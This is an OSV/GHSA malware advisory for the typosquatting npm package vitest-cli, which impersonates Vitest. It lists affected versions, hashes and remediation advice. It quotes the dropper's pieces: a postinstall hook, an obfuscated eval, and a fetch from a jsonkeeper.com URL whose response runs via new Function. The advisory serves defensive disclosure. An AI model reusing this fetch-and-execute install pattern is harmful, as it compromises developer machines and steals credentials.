MAL-2026-6267

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/vitest-cli/MAL-2026-6267.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-6267
Aliases
  • GHSA-c35r-fwrq-cgq9
Published
2026-06-22T18:23:57Z
Modified
2026-06-23T17:16:24.366932575Z
Summary
Malicious code in vitest-cli (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (27abcc7f2373309feb253b0cc48b1a8bae7c54a3c43aed0c57add697f4067aba)

Package name vitest-cli impersonates the official Vitest project while declaring empty author, homepage, repository, and bugs metadata. The package.json declares scripts.postinstall: node scripts/postinstall.js, which auto-runs on every npm install. The postinstall reaches lib/postinstall/index.js line 23, which evaluates a P.A.C.K.E.R.-obfuscated blob via eval((function(p,a,c,k,e,d){...})(...)). Once decoded, the payload calls axios.get('https://jsonkeeper.com/external/W33XO') and executes the response's data.cookie field with new Function('require', r.data.cookie)(require), retrying up to three times with 10-minute delays. jsonkeeper.com is an anonymous, mutable JSON paste host — the publisher can swap the executed bytes at any time without republishing the package. The thin wrapper around this dropper merely locates an installed vitest and spawns it as cover. Installer impact: arbitrary attacker-controlled JavaScript runs with full Node privileges on every developer machine and CI runner that installs this package, with access to environment variables, source trees, and credentials reachable from the install context. The combination of a typosquat name against a popular target, empty publisher metadata, P.A.C.K.E.R. obfuscation of the network+exec payload, mutable-paste-host fetch URL, and direct new Function execution of the response body is an unambiguous supply-chain attack.

Source: ghsa-malware (965bb2e5371c6561cacd40167a0ec3b097441cce0f854fc0c981ca07d007d139)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "source": "amazon-inspector",
            "versions": [
                "1.0.3"
            ],
            "sha256": "27abcc7f2373309feb253b0cc48b1a8bae7c54a3c43aed0c57add697f4067aba",
            "modified_time": "2026-06-22T18:24:00Z",
            "import_time": "2026-06-22T18:25:29.224986465Z",
            "id": "IN-MAL-2026-007152"
        },
        {
            "id": "IN-MAL-2026-007151",
            "versions": [
                "1.0.7"
            ],
            "source": "amazon-inspector",
            "modified_time": "2026-06-22T18:23:59Z",
            "sha256": "6017b4312bda8bd777fb1eef29cc295a844f5a837def062e84f808053fee1f1a",
            "import_time": "2026-06-22T18:25:29.155833831Z"
        },
        {
            "source": "amazon-inspector",
            "versions": [
                "1.0.0"
            ],
            "sha256": "737c0ff92560e5d8de4f76e066f3d632193e3b82acc6abd9788cb9821b1fd720",
            "modified_time": "2026-06-22T18:24:03Z",
            "import_time": "2026-06-22T18:25:29.406321378Z",
            "id": "IN-MAL-2026-007154"
        },
        {
            "sha256": "c44d72455b57ac4a093fd803c5973504e7ae3a904408990f821d2ea6c7b6c2cb",
            "import_time": "2026-06-22T18:25:29.057279157Z",
            "id": "IN-MAL-2026-007150",
            "modified_time": "2026-06-22T18:23:57Z",
            "versions": [
                "1.0.9"
            ],
            "source": "amazon-inspector"
        },
        {
            "source": "amazon-inspector",
            "versions": [
                "1.0.4"
            ],
            "sha256": "ec2320f1b6d467ce7ef129392a8a9a5861b44fb87cf672d95390a4eed090ef4b",
            "modified_time": "2026-06-22T18:24:01Z",
            "id": "IN-MAL-2026-007153",
            "import_time": "2026-06-22T18:25:29.332383583Z"
        },
        {
            "id": "GHSA-c35r-fwrq-cgq9",
            "import_time": "2026-06-23T17:03:25.700232029Z",
            "sha256": "965bb2e5371c6561cacd40167a0ec3b097441cce0f854fc0c981ca07d007d139",
            "modified_time": "2026-06-23T15:48:41Z",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "source": "ghsa-malware"
        }
    ]
}
References
Credits

Affected packages

npm / vitest-cli

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.0
1.0.3
1.0.4
1.0.7
1.0.9

Database specific

indicators
{
    "package_integrity": [
        {
            "filename": "vitest-cli-1.0.3.tgz",
            "hashes": {
                "sha512_sri": "sha512-fs3J8o5IPEj6MfqUKigXuWKk6jDWMN5qwDs2ZhmOvyUGbi+fGfw9HT3g1nq5sZo+oDhMJHc8zvLabRoODMyJDw==",
                "sha1": "f8380e1ae7160166ab4989e1585fbb75a3d92d5c"
            }
        }
    ],
    "evidence_files": [
        {
            "sha256": "467451342d130f3bd4f1d8b0f0e4275c5074f455e487cf08759152b5b2ad72bf",
            "tlsh": "bf51435a369b223728327bbaef530525f626d31361458294beeda4511f7b0608173eec",
            "path": "lib/postinstall/index.js"
        },
        {
            "sha256": "c04772a070f3349ca5d27e264c879ca7c8ce641cfe39280b6f887c6f63c78ca2",
            "tlsh": "83110816d4a7aea365f8aba26c258305f1219b2fc2640d0b31f3406c4fb696704b5f7d",
            "path": "package.json"
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/vitest-cli/MAL-2026-6267.json"
cwes
[
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    }
]